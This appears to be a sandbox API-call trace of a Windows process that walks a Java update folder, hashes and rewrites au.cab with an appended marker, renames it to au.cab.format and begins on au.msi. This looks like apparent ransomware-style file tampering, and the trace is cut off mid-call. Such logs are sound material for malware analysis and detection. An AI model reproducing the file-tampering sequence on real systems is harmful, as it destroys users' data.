dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.223] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0069.223] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.223] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.223] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0069.223] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0069.224] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.224] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.224] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.225] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.225] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.226] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.226] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.227] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.227] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.228] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.229] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.229] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0069.229] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.229] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.229] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0069.229] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="AU\\" [0069.229] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0069.229] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0069.229] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.229] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.229] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.229] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.229] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.229] PathFindFileNameW (pszPath="") returned="" [0069.229] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.230] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.230] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0069.230] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0069.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.231] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=581730) returned 1 [0069.231] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.234] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.234] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.235] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x25805, lpOverlapped=0x0) returned 1 [0069.237] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.237] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.237] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.237] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac3d0) returned 1 [0069.238] CryptCreateHash (in: hProv=0x6ac3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.238] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.238] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.238] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.238] GetLastError () returned 0x0 [0069.238] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.238] CryptReleaseContext (hProv=0x6ac3d0, dwFlags=0x0) returned 1 [0069.240] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.240] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.240] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.240] CloseHandle (hObject=0x5c8) returned 1 [0069.247] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.format")) returned 1 [0069.248] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1 [0069.248] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0069.249] CreateFileW 